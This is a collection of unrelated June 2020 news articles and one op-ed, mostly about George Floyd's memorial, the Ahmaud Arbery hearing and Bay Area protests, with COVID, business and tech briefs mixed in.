George Floyd's girlfriend who sobbed over his golden casket during his fiery memorial service says they had plans to open a restaurant together called Convict Kitchen - as she reveals the last thing she said to him the day before he died was 'I love you'.

Courteney Ross, 44, was pictured in a somber moment on Thursday as she placed her hand on the 46-year-old's casket during the service at a sanctuary at North Central University in Minneapolis.

An emotional Ross, who said she had been with Floyd for three years until his May 25 death, broke down and was comforted by mourners as she left the service for the man whose death at the hands of police has sparked global protests.

In an interview with DailyMail.com, Ross opened up on her relationship with Floyd and said that the last time she spoke to him was the day before he died.

She said that one of the final things she said to him was: 'I love you'.

Ross, who manages a coffee shop in the city's north east, said Floyd wanted to spend the rest of his life in Minneapolis and his dream was to open up their own restaurant.

Courteney Ross, 44, was pictured in a somber moment on Thursday as she placed her hand on her boyfriend George Floyd's casket during a memorial service at a sanctuary at North Central University in Minneapolis

An emotional Ross, who said she had been with Floyd for three years until his May 25 death, broke down and was comforted by mourners as she left the service for the man whose death at the hands of police has sparked global protests

'He came to Minneapolis about five years ago from Houston. He wanted to escape the criminal environment he was in and after he was released from prison he made the move to Minneapolis to start fresh,' she said.

Ross said Floyd had turned his life around since moving to the city.

He had served five years in prison after pleading guilty to aggravated assault over a 2007 armed robbery with another man.

During the incident, Floyd entered a woman's home, pressed a gun to her stomach and searched her home for drugs. Not finding any drugs or money at the house, the men took jewelry and the womans cell phone, according to a police report.

'He served some time in a Texas prison and after he was released he was able to get help with an organization called Turning Point. One job led to another and another. He really love it here. He did get some peace in his life here,' she said.

'Floyd's dream was to open up our own restaurant he even had a named picked our Convict Kitchen.

Floyd wanted to hire ex-convicts to work at the restaurant to give them a second chance like he was given.

'Floyd even had some of the foods picked out that he wanted to serve his customers. He had ideas on some of the foods he wanted to serve. He wanted to serve food at his restaurant that ex-cons would cook in their cell, using the foods inmates would buy at the commissary and making a gourmet dish out of it.

'Floyd use to tell me that you can practically make anything out of Top Ramen Noodles, you can grind them up and use them to make pizza dough to a cake if you add Oreo Cookies.'

In an interview with DailyMail.com, Ross opened up on her relationship with Floyd and said that the last time she spoke to him was the day before he died. She said that one of the final things she said to him was: 'I love you'

With tears in her eyes recalling their first encounter, Ross said she met Floyd at a Salvation Army shelter in Minneapolis. She said Floyd, who was working security at the shelter at the time, noticed she was upset after she visited someone she was dating who was living there

Ross said she doesn't know what she's going to do now and that she is still processing his death.

'Floyd loved life, everyone who met him loved him. He really turned his life around and was just on the verge of really making something of himself and now it's all been taken away,' she said.

With tears in her eyes recalling their first encounter, Ross said she met Floyd at a Salvation Army shelter in Minneapolis.

She said Floyd, who was working security at the shelter at the time, noticed she was upset after she visited someone she was dating who was living there.

'Floyd was working security at the time and I was in lobby waiting for this guy I had been having an on and off relationship with, who just happened to be homeless,' she said.

'I was a mess at the time and while waiting in the lobby this tall man walked in and greeted me.

She said Floyd put his arms around her and gave her a hug.

'Floyd is 6'6' he's an imposing figure, but his hug was so gentle and comforting. We talked about my problems and we prayed together, I fell in love at first sight,' she said.

'He is such a spiritual man beyond just being prayerful and a man of God. He had a sense about him that just made you feel comforted, feel good, feel validated, just lift you up, lift your spirits up.'

Floyd died on May 25 after white police officer Derek Chauvin, who has been charged with murder, put his knee on Floyd's neck for several minutes as he lay handcuffed on the pavement, gasping that he couldn't breathe.

Three other Minneapolis police officers - Thomas Lane, J. Alexander Kueng and Tou Thao - were charged on Wednesday with aiding and abetting murder in Floyd's death.

Ross sobbed over her boyfriend's golden casket on Thursday before his memorial service got underway

Outside the service, Ross joined protesters in chanting George Floyd's name. His death has empowered a national movement that has seen widespread demonstrations and civil strife in cities right across the United States to condemn racism and police abuses

Ross broke down outside the Minneapolis memorial service for her late boyfriend on Thursday

Floyd's death has empowered a national movement that has seen widespread demonstrations and civil strife in cities right across the United States to condemn racism and police abuses.

Hollywood celebrities, musicians and politicians were among those to attend Floyd's memorial service on Thursday.

Civil rights leader Rev Al Sharpton delivered the eulogy, declaring it was time for black people to demand: 'Get your knee off our necks!'

'George Floyd's story has been the story of black folks. Because ever since 401 years ago, the reason we could never be who we wanted and dreamed to be is because you kept your knee on our neck,' Sharpton said.

'What happened to Floyd happens every day in this country, in education, in health services, and in every area of American life. It's time for us to stand up in George's name and say, 'Get your knee off our necks!'

Those gathered at the Minneapolis tribute stood in silence for 8 minutes, 46 seconds - the amount of time Floyd was held on the ground before he died.

Sharpton vowed a movement to 'change the whole system of justice' and said it was time to hold police accountable.

'Time is out for not holding you accountable. Time is out for you making excuses. Time is out for you trying to stall. Time is out for empty words and empty promises. Time is out for you filibustering and trying to stall the arm of justice'' he said.

George Floyd's casket leaves the sanctuary at North Central University in Minneapolis on Thursday after the memorial service

The Rev. Al Sharpton delivers a passionate address at the memorial of George Floyd at the North Central University in Minneapolis on Thursday

The service on Thursday is the first of three memorial gatherings planned to honor Floyd's life - the man whose name has been chanted by hundreds of thousands of people across the country

'There is a time and a season for everything,' he said. 'Time is up. Time is out. This is the time.

'Y'all talk about making America great. Great for who and when? We gonna make America great for everybody.'

Thursday's memorial was the first of three gatherings planned to honor Floyd's life - the man whose name has been chanted by hundreds of thousands of people across the country.

Floyd's body will travel to Raeford, North Carolina, where he was born 46 years ago, for a two-hour public viewing and private service for the family on Saturday.

Finally, a public viewing will be held Monday in Houston, where he was raised and lived most of his life. A 500-person service on Tuesday will take place at The Fountain of Praise church and will include addresses from Sharpton, Crump, and the Rev. Remus E. Wright, the family pastor.

Former Vice President Joe Biden, the presumptive Democratic presidential nominee, may attend, and other political figures and celebrities are expected as well.

The mother of Ahmaud Arbery, the black man who was shot dead by two white men while out running, will attend Floyd's memorial in Houston.

A private burial will follow.
It has been over a month since Manish Kumar Tyagi, a ward boy at a government hospital, lost his three-year-old son who was refused treatment in at least two private nursing homes in the state capital.

Had they treated my child, he might have been alive today, Manish laments as he curses private hospitals daily. For he was in quarantine when his son took ill at night and precious time was consumed as his family visited private hospitals which refused treatment.

What kind of a doctor are you if you cant treat a patient in an emergency, he asks.

Manish has his reasons to be furious but when his family was desperately pleading with private nursing homes to admit the infant, private medical practitioners and nursing homes were struggling to come to terms with a government directive that required them to sign an affidavit issued by the chief medical officers and which among other things stated they could be booked under the Epidemic Act if found violating the rather ambiguous infection prevention protocol.

Its not just a case of one or two persons. Hundreds of non-Covid people have suffered during the lockdown because the private practitioners and nursing homes felt threatened and found it better to either close down temporarily or refuse to see patients showing any symptoms that remotely resembled Covid-19, a private practitioner said requesting anonymity.

Dr Devesh Maurya, secretary, UP Nursing Home Association, had on May 20 written to principal secretary medical and health Amit Mohan Prasad about the need to ensure that no FIRs were filed against doctors for treating non-Covid patients who later turned positive.

On May 12, the government issued an order saying no police action would be initiated and no nursing home sealed even if infection was found in patients treated in hospitals following the infection prevention protocol.

But Deveshs May 20 letter to the government is proof that despite governments instructions, harassment continued locally.

The order by CMO Lucknow asking for a signed affidavit which basically opens the doctor/nursing home to the possibility of police action is against the orders of the chief minister and the assurance given by health officials and hence needs to be modified, Maurya said in his May 20 missive to the principal secretary medical and health.

There is a revised order in place now, said UPs health minister Jai Pratap Singh who has just returned after touring 8 districts.

The problems, doctors admitted, existed with local administration.

Like while doctors elsewhere feared harassment, in Kanpur, district magistrate Brahmadev Tiwari wrote to the CMO about the need to allow home quarantine to doctors if a patient they treated for non-Covid ailment later tested corona positive.

This letter, a follow up of our visit, has been issued by the DM, instructing officials that the doctors who are treating any patient who later turns out Covid-19 positive should not be treated as per the normal protocol and should not be harassed, Dr Rita Mittal and Dr Gaurav Dubey said in a message to doctors in Kanpur after the DMs intervention.

The governments intention is clear but problem exists locally. Arent doctors themselves conscious of their responsibilities a private practitioner asked.

Despite giving an undertaking that they would follow infection prevention protocol, permission to open nursing homes and clinics in places like Sitapur is subjected to multi-level checks/surveys, a doctor said.

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Hexaware Technologies hit an upper circuit of 20% at Rs 311.30 after the company said its board will meet on on 12 June 2020 to consider a proposal to voluntarily delist equity shares of the company.

As on 31 March 2020, the promoter HT Global IT Solutions Holding held 62.4% stake in the company while the public shareholders held 37.6% stake.

As a part of the delisting offer, HT Global IT Solutions Company, the promoter has given an indicative offer of Rs 285 per share, which is a 9.8% premium on the closing price of the shares on 4 June. The floor price will be separately informed to the company in due course.

The delisting will provide the promoter increased operational flexibility to support the company's business. The delisting will also help in cost savings and allow the management to dedicate more time to and focus on the company's business, the firm said.

Hexaware Technologies' consolidated net profit rose 4.27% to Rs 174.96 crore on a 0.85% increase in revenue from operations to Rs 1541.75 crore in Q1 March 2020 over Q4 December 2019. The company had suspended the guidance that was provided earlier for FY2020, as COVID-19 has led to significant uncertainty in the current environment. In the previous quarter, the company had forecast its revenue in FY2020 to grow in the range of 15%-17% and had pegged EBITDA (post RSU cost) growth in the range of 15%-16%.

Hexaware Technologies provides IT, BPO and consulting services.

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(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
The speed at which the movement for black lives has been able to diversify what the protest crowd looks like speaks, on one hand, to the fact that maybe there are a lot of people who want to see racial equality and want to see our country live up to its highest potential, he said. On the other hand, it also speaks to the ways the world around that movement has changed.
Brunswick, Ga.

A state investigator alleged Thursday that a white man was heard saying a racist slur as he stood over Ahmaud Arbery's body, moments after fatally shooting the black man with a pump-action shotgun.

The inflammatory revelation came amid a week of angry nationwide protests over law enforcement biases against black victims that erupted after the death of George Floyd in Minneapolis.

In a hearing to determine whether there is enough evidence to proceed with a murder trial, the lead Georgia Bureau of Investigation agent in the case testified that Travis and Greg McMichael and a third man in another pickup, William "Roddie" Bryan, used their trucks to chase down and box in Arbery, who repeatedly reversed directions and ran into a ditch while trying to escape.

Travis McMichael then got out of his truck and confronted Arbery, later telling police he shot him in self-defense after Arbery refused his order to get on the ground, Special Agent Richard Dial said. A close examination of the video of the shooting shows the first shot was to Arbery's chest, the second was to his hand, and the third was to his chest again before he collapsed in the road, Dial said.

"Mr. Bryan said that after the shooting took place before police arrival, while Mr. Arbery was on the ground, that he heard Travis McMichael make the statement, 'f  -  ing n  -  er,'" Dial said.

Bryan gave investigators the information a week after the McMichaels' arrest, but there's no indication he said it to Glynn County investigators before that, Dial added.

Lee Merritt, an attorney for Arbery's family, told reporters outside the courthouse that prosecutors had warned the family before the hearing of the coming testimony about the slur.

"It was still very difficult to hear in the context of a prolonged chase, that after he murdered Ahmaud Arbery and stood over his body, he used that racial epithet," Merritt said.

Arbery's mother, Wanda Cooper-Jones called the release of new details in court "very, very heartbreaking."

"He was afraid," Cooper-Jones said of her slain son. "Life had placed him in a position where I couldn't protect him, and he wasn't able to protect himself."

At the conclusion of the probable cause hearing Thursday, Magistrate Court Judge Wallace Harrell found that there is enough evidence for the cases against all three defendants to proceed.

"Ahmaud Arbery was chased, hunted down and ultimately executed at the hands of these men," prosecutor Jesse Evans told the judge. "He was on a run on a public road in a public subdivision. He was defenseless and unarmed."

Under questioning by Jason Sheffield, an attorney for Travis McMichael, Dial said Travis told police he raised his shotgun at Arbery from roughly 90 feet away and told him to stop and get on the ground.

That's when Arbery ran around the passenger side of Travis' truck, and the two men met in front of the truck.

Dial said Travis told police Arbery "squared up" like he was going to attack.

"There's a statement that he might have had his hand on his shirt," Dial said. "Travis McMichael said his adrenaline was pumping and it all happened very quickly."

He said Travis then fired the first shot into Arbery's chest.

Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years.

Sheffield pressed Dial on whether he considered whether Travis fired in self-defense.

"I don't think it was self-defense by Mr. McMichael," Dial replied. "I believe it was self-defense by Mr. Arbery. ... I believe Mr. Arbery's decision was to try to get away and he found he could not escape."

The testimony presented Thursday raises questions about the idea that the McMichaels and Bryan were legitimately carrying out a citizens' arrest of a suspected burglar. It also could factor into a federal investigation into whether hate crime charges are warranted.

The U.S. Department of Justice said on May 11 that it is reviewing the evidence to determine "whether federal hate crime charges are appropriate."

Dial testified that Greg McMichael told police that "he didn't know if Mr. Arbery had stolen anything or not, but he had a gut feeling" that Arbery had committed prior break-ins in the neighborhood.

The investigator testified that police body camera footage showed a Confederate flag sticker on a toolbox in Travis' truck and that investigators discovered at least two more racial slurs in messages on his phone.

In response to questioning from Bryan's attorney Kevin Gough, Dial testified that he did believe there was "racial animus" involved in Bryan's decision to participate in the chase. There's evidence of Bryan's "racist attitudes in his communications," Dial said, referring to comments found on his cellphone, including when he was at an airport and remarked that he was glad there weren't many black people there, referring to black people with a racial slur.

Bryan saw a black man running down the street with a truck following and drew certain conclusions based on his racial bias, Dial said.

Arbery was killed Feb. 23 after Travis McMichael, 34, and his father, Greg McMichael, 64, gave chase when they spotted the 25-year-old black man running in their neighborhood just outside the port city of Brunswick. Bryan said he saw them driving by and joined the chase, Dial said.

It wasn't until May 7  two days after Bryan's cellphone video leaked online  that the McMichaels were charged with felony murder and aggravated assault. Bryan, 50, was later charged with felony murder and a criminal attempt to commit false imprisonment.
Thousands more could still lose jobs in Northern Ireland but 'bounce' could come after downturn

Thousands of people could still be added to Northern Irelands job seeker queues but the economy is likely to see a bounce after suffering its post-lockdown downturn, a top economist has said.

And Neil Gibson, chief economist at EY, says the Northern Ireland Executive is still facing its greatest challenges and that the heavy lifting is yet to come.

The challenges gets greater for the Executive later in the year, the heavy lifting, moving out of lockdown a much more difficult tightrope to walk on, he said.

Speaking on the Ulster Business Podcast, Mr Gibson said initial projections of up to 130,000 job losses have now been revised down to 60,000 to 70,000, thanks to the Governments furlough scheme.

The latest official figures show the claimant count here shot up by 90% to 56,200.

But Mr Gibson says while quarterly figures figures paint a picture worse than experienced during the Great Depression it is not a true reflection of the impact to the economy here and different to a financial crisis.

He also said following the short term slump that Northern Ireland could see a bounce but not a bounce back.

An initial survey by EY pointed to a worst case scenario of a 10% retraction in our economy here. Mr Gibson says thats now in the 9% range.

(Its more) modest than we might have feared, but that tells you that we would expect (more job losses), he said.

Unfortunately, not all of those businesses will be able to continue trading.

He sees a return to burgeoning offices at some stage, but different than those pre-crisis, with more varied and flexible shifts, and remote working still part of our daily lives.

Mr Gibsons also keen to see the retail and rates system re-examined post-crisis to ensure a fair rebalancing of the economy.
>>> Vietnam reports no new COVID-19 cases on June 4 morning

The committee convened a meeting on June 4 under the chair of Deputy Prime Minister Vu Duc Dam to discuss epidemic prevention and control.

As the epidemic is still complicated outside Vietnam, while an official vaccine is still unavailable, the committee members stated that Vietnam needs to continue to implement strict control on entry from foreign countries, as well as well performing quarantining and promptly detecting any new cases for effective zoning and treatment.

The delegates agreed that Vietnam is facing a great deal of pressure, as on the one hand the country has to protect itself against COVID-19, while on the other hand it cannot close its doors for too long, because Vietnam needs to repatriate its citizens trapped abroad, as well as welcome foreign experts and investors coming to Vietnam to work and do business. Therefore, the committee agreed on the spirit of realising the dual goals of socio-economic activity resumption and disease prevention but prioritising the absolute safety of the community.

The committee urged the creation of specific guidelines on the transportation and isolation of people after entry, while the Ministry of Health was assigned to build and promulgate instructions for welcoming foreign experts and investors on short-term trips into Vietnam.

The committee members and health experts also agreed to continue strictly managing the isolation of international flight crews, isolating entry through land border gates and considering opening flight registration channels for foreign experts who want to enter Vietnam.

The Ministry of Foreign Affairs was assigned to act as a focal point to coordinate procedures for bringing Vietnamese experts, engineers and businesspersons stranded abroad home to serve in domestic production and development.

Regarding treatment for Patient 91, the countrys most critically ill COVID-19 patient, Deputy Minister of Health Nguyen Truong Son informed the meeting that up to this point the British pilots recovery has reached about 50%, but he is still in a serious condition despite being free from the coronavirus. Doctors at Cho Ray Hospital have been actively treating the 43-year-old man, helping him to progress positively. He has stopped relying on extracorporeal membrane oxygenation from the morning of June 3. Representatives from the British Consulate General Ho Chi Minh City recently visited the patient and express their high appreciation for the efforts of the Vietnamese physicians treating him, Deputy Minister Son informed.

As reported by the Ministry of Health, as of the morning of June 4, Vietnam has recorded 328 cases of COVID-19 infection, of which 302 have recovered, accounting for 92% of the total. The 26 remaining patients are being treated at provincial and central hospitals and mostly are in stable health. Among them, nine have tested negative for the novel coronavirus SARS-CoV-2 once and four others have tested negative at least twice. This means there are now only 13 patients positive cases in Vietnam. Today also marks 49 consecutive days without any new infections in the community.
Speaking of closed: When will Chicagos lakefront paths, nearby parks reopen? The circumstances of this week have required us to focus our attention on other issues, the mayor said when asked about it at an unrelated news conference. Plans are underway to figure out how to minimize crowding  which triggered the coronavirus-related shutdown in the first place  and having some designated times for particular activities," Lightfoot said, adding: Im hopeful that well be able to announce something very soon. I know people are anxious to get back to the lakefront.
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America needs Jesus. No greater reminder of that fact can be seen than the recent protests in the streets of the nation.

The anger against what happened to George Floyd in Minneapolis last week is justified. The violence and looting that came in the wake of protests is not.

A white officer kneeled on the neck of a black man in his custody until he was dead while being recorded on video by numerous bystanders. But protests turned violent and destructive, and now they are taking place in major cities all over the nation.

In an editorial in The Wall Street Journal, Robert Woodson opines, Riots Invite Crime, Not Justice. He adds, Blacks end up suffering more when hostility to police makes it impossible to maintain urban order.

Long-term positive change can be effected through peaceful means. I think, for instance, of the peaceful African-American lady who, with Gods help, led the peaceful wade-ins at Fort Lauderdale beaches in the early 1960s.

She was the late Eula Johnson, and I interviewed her in her home in 1991  30 years after the event. I was delighted to learn that she was a regular viewer of the televised Christian services of the late Dr. D. James Kennedy, for whom I worked.

Heres what happened. Fort Lauderdale is known for its lush beaches and relaxed lifestyle. Before 1962, however, blacks were not allowed on the beaches.

They were allowed one little strip of beach, in Dania (five miles south of Fort Lauderdale), to which they had to be ferried. But they couldnt go to the more popular beaches in the area.

One Sunday on the 4th of July, after they attended church, Eula Johnson and Dr. Von Mizell (a local physician  just the second African-American doctor in Fort Lauderdale) concluded that it was time that their community have access to those beaches too.

She told me, We decided to celebrate a little more independence than what we were enjoying. People were talking about independence  I felt like we had no independence. We would do our best to try to obtain some independence that we would have a right to celebrate the 4th of July.

So she, the doctor, and a couple of others walked to the beach. Word of their bold march preceded them. Eula said, And we could hear them broadcasting over the radio, Negroes are lounging at the municipal beach in Fort Lauderdale. When we looked up, we saw [opposing] crowds. The ambulances were out there. Policemen were out there. The fire department was out there.

Despite the sea of angry white faces, thankfully, no violence took place. Eula, then president of the NAACP-Broward, continued going to the beach with other blacks. And so the city of Fort Lauderdale sued her for fear of losing valuable tourist dollars. And in deciding the case, U.S. District Judge Ted Cabot not only ruled in Eulas favor, but with a single decision, he struck down all of Fort Lauderdales Jim Crow laws.

What was the source of Eulas strength? She said, God was with me. I take my strength from the Spirit of God. God is big enough to handle it.

While Fort Lauderdale sued her in the 1960s, later, it gave her a key to the city.

Today, one of the beachfront state parks in Fort Lauderdale where Eula was not allowed to be is now named the Dr. Von D. Mizell-Eula Johnson State Park.

Rev. Dr. Martin Luther King, Jr., who did more than any single person to peacefully work toward making America become more color-blind, once said that Americas problem is not with its creed  that all men are created equal. Its that we have not been living up to that creed.

His niece, Evangelist Alveda King, told me in an interview that we could solve much of the racial conflict in this country if we would just accept what the Bible teaches: You go to Acts 17:26, Of one blood God created all people to live together on the earth. Now, if we are separate races, we cannot possibly be brothers and sisters. So, we have to see ourselves as one race, one human race, created by God, and were supposed to live together in this world as brothers and sisters. So, thats a fundamental truth that America has not yet embraced.

Her Uncle Martin preached: We must learn to live together as brothers or perish together as fools.

MLK also declared, Nonviolence is not a symbol of weakness or cowardice, but as Jesus demonstrated, nonviolent resistance transforms weakness into strength and breeds courage in the face of danger.

Positive, long-lasting change comes from doing the right thing by Gods help  not from stealing television sets from Target while claiming to demand justice for George Floyd. God is the key to true healing in America.
Xiaomi's Mi Notebook is slated for an India launch later this month. The new laptop is scheduled to be announced on June 11, and ahead of its launch, the device has been teased again, with the company hinting in a tweet that the Mi Notebook will indeed feature a 12-hour battery life.

The teaser shows a clock that is shown completing successfully a 12-hour cycle. The text accompanying the teaser also emphasizes the impressive battery life of the Mi Notebook, calling the performance "Epic". By claiming to offer high battery life, the Mi Notebook will be taking the challenge directly to the likes of Apple, Dell, HP and Asus, all of which have powerful machines across different price points that also offer long-lasting battery life.

#MakeEpicHappen without runningfor a charger every now and then.



Mi fans, guess the #Epic Battery Life on the upcoming #MiNoteBook.



Global Debut on June 11. pic.twitter.com/GlSMXb2154 Mi India (@XiaomiIndia) June 4, 2020

Interestingly, this information comes after the company had previously teased the Mi Notebook to bring with itself slim bezels and a high screen-to-body ratio -- another area where big-name players have already been fighting it out in the laptop market.

While there are no exact details available about the upcoming Mi Notebook yet, leaks in the past have claimed that the company could launch Redmi branded laptop as a rebadged Mi Notebook in India. When the company eventually does enter the laptops category in India, it will be interesting to see the exact product line-up that it decides to fall back on to. This is because the company currently has a number of laptops in China -- both under the Xiaomi and Redmi name. Most recent of them is the new RedmiBook laptops that were launched in China by the brand with AMD Ryzen 4000 series processors.

However, the latest reports claim that the model being launched could be an older rebadged RedmiBook 14 with a 10th Gen Intel processor that was launched last December. These laptops could also feature Nvidia graphics cards, SSD storage, and a decent amount of RAM to go. Although all this is expected to drive up the price of the laptop to around the Rs 60,000 mark.
WASHINGTON  President Trump was furious when news got out last weekend that as protesters gathered outside the White House he had been rushed to an underground bunker. But now, as crowds keep coming back to demonstrate, the entire White House seems to be turning into one.

Every day, more fences go up and more concrete barriers are put in place as the security perimeter expands farther and farther. The universally recognized symbol of American democracy increasingly looks like a fortress under siege in the heart of the nations capital, a Washington version of the Green Zone that sheltered American and Iraqi officials in Baghdad during the worst of the war.

The measures taken over the last week have made the compound occupied by the president, his family and his staff more sealed off from demonstrations but also more removed from the American public. National Guard troops and riot police will certainly withdraw at some point, and White House officials say the barriers will be eventually removed. But history shows that security changes made at the White House in the heat of a momentary perceived threat often become lasting fixtures.

With the capital awash in security forces and much of downtown boarded up, Washington officials bristle at the martial moment and fear that the city is being transformed once more in a way evoking locked-down authoritarian nations instead of an open, pluralistic society.
LATEST June 6, 12:55 p.m. Thousands of demonstrators marched across the Golden Gate Bridge and temporarily blocked traffic Saturday as protests against police brutality continued across the region and country.

The protesters initially walked on the pedestrian path and brought signs. They also took a knee on the bridge together for eight minutes and 46 seconds  the amount of time George Floyd was pinned to the ground by Minneapolis Police officer Derek Chauvin.

After a while, hundreds of marchers spilled into car lanes, and officers on the bridge were unable to force them back onto the pedestrian paths. Traffic was stopped in both directions, but a number of individuals got out their cars and showed support for the demonstrators. A traffic alert was issued at 2:15 p.m., but protesters cleared lanes not long after and traffic resumed.

June 6, 9:00 a.m. The city of Walnut Creek has lifted its 8 p.m. curfew after protests remained peaceful Friday.

"Based on today's activity, we believe a curfew is no longer needed to maintain safety in our city," the police department wrote in a statement issued Friday night. "Today's protest was attended by approximately 2,000 people and was a respectful and peaceful demonstration. We appreciate those who participated in a productive dialogue for our community. We will continue to support First Amendment rights and prioritize the safety of all those in our city."

Following Walnut Creek's announcement, there are no curfews in effect in the Bay Area at this time.

June 5, 9:30 p.m. The Vallejo Police Officers' Association released a statement regarding the death of Sean Monterrosa on Friday evening.

The statement, obtained by SFGATE, says that "seconds before" the confrontation with Monterrosa, officers heard over the radio that "it appeared the looters were armed." It goes on to say that while Monterrosa began to attempt to flee, he stopped and "chose to engage" the officers.

"Mr. Monterrosa abruptly pivoted back around toward the officers, crouched into a tactical shooting position, and grabbed an object in his waistband that appeared to be the butt of a handgun," it reads. "At no time did Mr. Monterrosa make any movements consistent with surrendering."

The statement conflicts in part with the report Vallejo Police Chief Shawny Williams gave to reporters earlier this week. On Wednesday, Williams said in a press conference that rather than fleeing, Monterrosa "suddenly stopped, taking a kneeling position, and placing his hands above his waist, revealing what appeared to be a handgun."

June 5, 8:40 p.m. Oakland Mayor Libby Schaaf apologized Friday for using the f-word during a speech in front of Oakland City Hall earlier in the day, calling it "very inappropriate," according to KGO.

Schaaf added, "I don't know if people see just how deeply I feel about these issues."

The comment happened earlier Friday, when Schaaf had been dismissing the notion that policing issues can merely be chalked up to a few "bad apples."

"This is not about bad apples," she said. "Excuse me but f the bad apple theory."

As KGO reported, the audience didn't seem to mind the outburst.

This is not only about bad apples," Schaaf said. "I certainly believe there are bad apples in police departments. I simply think our work doesnt end there and to do so would miss out on the bigger problem of structural racism in our society.

[Editors note, June 6, 2020: This section has been updated to clarify comments made by Mayor Libby Schaaf at a June 5 rally in Oakland.]

June 5, 8:20 p.m. The Vallejo police officer who shot and killed Sean Monterrosa on on June 2 has been identified as officer Jarrett Tonn, according to the Mercury News.

Tonn fatally shot Monterrosa while responding to a call of a looting at a Walgreens early Tuesday. Vallejo police initially said Monterrosa had a firearm in the waistband of his pants, but the item turned out to be a hammer. Police said Monterrosa was on his knees with his arms above his waist when an officer shot five times from behind a police windshield, hitting him once.

Read more from SFGATE Editor Matthew Tom.

June 5, 7:48 p.m. Demonstrators took to the Vallejo Walgreens parking lot where Sean Monterrosa was killed earlier this week by a police officer during a suspected looting. Those in attendance kneeled at the site, a reference to Monterrosa, who police say was in a kneeling position at the time of his death.

An estimated 200-300 people joined the event.

June 5, 7:45 p.m. A week after demonstrations began in the Bay Area, with locals protesting against police brutality following the death of George Floyd in Minnesota, hundreds, possibly thousands took to downtown San Francisco to march again Friday evening.

The protest was, however, more of a roll than a walk. It was organized by Critical Mass, a monthly mass bicycle caravan ride that usually sees crowds of a few hundred riders in goofy costumes and lit-up bikes on city streets, just for fun. While the presence of bikes remained for todays event, the meaning is different: It was intended to pay tribute to Floyd and make a public, peaceful appeal for police reform.

Read more from SFGATE Editors Amy Graff and Alyssa Pereira.

June 5, 7:20 p.m. Protests are now underway in Oakland, Santa Rosa and Vallejo.

In Vallejo, crowds of hundreds are protesting the recent death of Sean Monterrosa, a 22-year-old San Francisco man who was shot by a police officer while kneeling. The protest is taking place at Vallejo's City Hall.

June 5, 6:45 p.m. Protests are currently underway in Alameda, as San Francisco Chronicle reporter Peter Hartlaub reported Friday.

Cars with Black Lives Matter signs are parked "for more than a mile down Central Avenue" in both lanes, he tweeted.

June 5, 6:15 p.m. A Critical Mass-led bicycle protest, which has attracted protesters numbering in the hundreds and possibly thousands, has left the Embarcadero Plaza and is headed west on Market Street toward Civic Center.

This story is developing.

June 5, 5:00 p.m. Curfews have been lifted in Concord and Vallejo after demonstrations have remained peaceful in recent days.

June 5, 4:45 p.m. Demonstrators gathered near Mission and 24th streets Friday afternoon to protest the death of San Francisco native Sean Monterrosa, who was shot and killed by police in Vallejo Tuesday after officers mistook a hammer for a handgun.

Police say Monterrosa was with a group of people who targeted the Walgreens pharmacy located in Vallejo. Officers arriving at the scene reported seeing 10-12 people getting into two vehicles. The first, a silver truck, drove off; the second, a black sedan hit an unmarked police SUV, setting off the airbag and injuring the officer inside. Monterrosa was kneeling when he was shot.

The Friday demonstration in San Francisco has remained peaceful.

June 5, 3:20 p.m. Protests returned to Walnut Creek on Friday.

The Walnut Creek Police Department reported that 1,500 demonstrators were in the city, and a large group walked through traffic on North Main Street.

June 5, 2:45 p.m. The Vallejo City Council is discussing extending the city's curfew.

After widespread reports of looting and rioting earlier in the weekn, the city has seen relative calm in recent days.

June 5, 1:15 p.m. Children's Fairyland in Oakland announced Friday that a family-friendly protest, in conjunction with the San Francisco Kids Peace March in support of Black Lives Matter will take place at the family park Sunday, June 7 at 2 p.m.

The protest will begin at the Big Shoe and march around Lake Merritt.

June 5, 1:11 p.m. California Gov. Gavin Newsom spoke at his Friday press briefing on racism, systematic injustice and how the state can move forward amid a national equality movement triggered by George Floyd's tragic death.

The governor presented a plan to phase out the carotid hold in police training and will back legislation to end this type of stranglehold.



Floyd was killed in Minnesota last month when a white police officer sat on his neck, using a form of a carotid hold.

Newsom introduced Lateefah Simon, current BART director and president of the Akonadi Foundation, and Ron Davis, former East Palo Alto police chief, as leaders of a new state task force on police reform.

Newsom addressed the need for reform in the criminal justice system and said the system is unfair to black people. "One thing we know about our criminal justice system, its not blind," he said. "It discriminates based on the color of your skin. I dont think this. I know this as governor."

He added, "The criminal justice system treats people who are rich and guilty a hell of a lot better who are poor and innocent. You know that and I know that. Why aren't we doing something about that?"

The governor has been meeting with community leaders, members of the National Guard and black youth in recent days.

"The black community does not need to change," he said. "We need to change."

He has been especially struck by "the clarity and conviction of our youth."

"They dont beat around the bush," Newsom said. "Theyre not confident folks like me in my position get it. They have no reservoir of patience ... They demand that people in power and influence lead demonstrably, lead with courage, lead with civility."

June 5, 1:05 p.m. Demonstrations have seen hundreds of thousands of people join protests across the country during the global COVID-19 pandemic. Health experts have warned the gatherings will likely lead to an accelerated or rebounding spread of the coronavirus.

While hand sanitizer and masks have been used, and often handed out by volunteers on the sidelines of the demonstrations, social distancing is largely impossible in the crowds. So if you attended a protest, should you get tested?

Read more from SFGATE Editor Andrew Chamings.

June 5, 1:00 p.m. Movement Ink, a small family-owned printing company in Oakland, said that U.S. postal inspectors seized thousands of face masks they produced that were intended for protesters. The cloth masks, emblazoned with the words "Stop killing black people" and the logo for the Movement for Black Lives (M4BL), were being shipped to Washington D.C., St. Louis, New York City and Minneapolis.

In an Instagram post, Movement Ink said that they "are angry, concerned and feel threatened by the situation. Our family and a few community members have sacrificed sleep to support the Movement for Black Lives and we are committed to do so moving forward.

In a comment, the U.S. Postal Inspection Service said, These packages were originally set aside for further investigation because there were indications that they contained non-mailable matter." Read more from SFGATE reporter Madeline Wells.

June 5, 12:45 p.m. California Governor Gavin Newsom spoke Friday afternoon against excessive use of force on protesters in the state, saying, "Protesters have the right to protest peacefully  not be harassed. Not be shot at by rubber bullets or tear gas."

"Today I am calling for the creation of a new statewide standard for use of force in protests," he wrote on Twitter. "Acts of violence against peaceful protestors will not be tolerated."

June 5, 12:30 p.m. The city of San Francisco has provided a free, pop-up testing location for anyone to get tested for COVID-19, including those who have gathered in mass demonstrations recently, even if they are not showing symptoms of infection. The testing site is located at The Cathedral of St. Mary at 1111 Gough St, and opened at noon on Friday.

The city is directing anyone who wants a test at the mobile site to sign up at www.projectbaseline.com/study/covid-19.

